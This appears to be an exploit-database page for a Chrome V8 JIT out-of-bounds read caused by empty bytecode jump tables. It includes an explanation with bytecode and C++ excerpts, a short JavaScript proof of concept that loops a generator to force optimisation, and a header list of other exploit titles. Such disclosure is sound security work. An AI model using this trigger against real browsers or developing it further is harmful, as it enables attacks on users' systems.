9897272892
8 changes to exploits/shellcodes Memcached - 'memcrashed' Denial of Service Softros Network Time System Server 2.3.4 - Denial of Service Chrome V8 JIT - Simplified-lowererer IrOpcode::kStoreField_ IrOpcode::kStoreElement Optimization Bug Chrome V8 JIT - JSBuiltinReducer::ReduceObjectCreate Fails to Ensure that the Prototype is _null_ Chrome V8 JIT - 'GetSpecializationContext' Type Confusion Chrome V8 JIT - Empty BytecodeJumpTable Out-of-Bounds Read Tenda AC15 Router - Unauthenticated Remote Code Execution Joomla! Component Joomanager 2.0.0 - ' com_Joomanager' Arbitrary File Download (PoC) Joomla! Component Joomanager 2.0.0 - 'com_Joomanager' Arbitrary File Download (PoC) Joomla! Component Joomanager 2.0.0 - ' com_Joomanager' Arbitrary File Download Joomla! Component Joomanager 2.0.0 - 'com_Joomanager' Arbitrary File Download Bravo Tejari Web Portal - Cross-Site Request Forgery
57 lines
No EOL
1.5 KiB
JavaScript
57 lines
No EOL
1.5 KiB
JavaScript
/*
|
|
In the current implementation, the bytecode generator also emits empty jump tables.
|
|
https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89
|
|
|
|
So the bytecode for the example code would be generated as follows:
|
|
Code:
|
|
function* opt() {
|
|
for (;;)
|
|
if (true) {
|
|
|
|
} else {
|
|
yield; // never reaches, never hits BindJumpTableEntry
|
|
}
|
|
}
|
|
|
|
Bytecode:
|
|
...
|
|
0x35dda532a2a5 @ 75 : 90 04 01 01 SwitchOnSmiNoFeedback [4], [1], [1] { } <<--- SIZE: 1, but EMPTY
|
|
...
|
|
|
|
|
|
Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
|
|
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
|
|
if (table_offset_ >= table_end_) return;
|
|
|
|
current_ = accessor_->GetConstantAtIndex(table_offset_);
|
|
Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
|
|
while (current_->IsTheHole(isolate)) {
|
|
++table_offset_;
|
|
++index_;
|
|
current_ = accessor_->GetConstantAtIndex(table_offset_);
|
|
}
|
|
}
|
|
|
|
If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.
|
|
|
|
PoC:
|
|
*/
|
|
|
|
function* opt() {
|
|
for (;;)
|
|
if (true) {
|
|
|
|
} else {
|
|
yield;
|
|
}
|
|
|
|
for (;;)
|
|
if (true) {
|
|
|
|
} else {
|
|
yield; yield; yield; yield; yield; yield; yield; yield;
|
|
}
|
|
}
|
|
|
|
for (let i = 0; i < 100000; i++)
|
|
opt(); |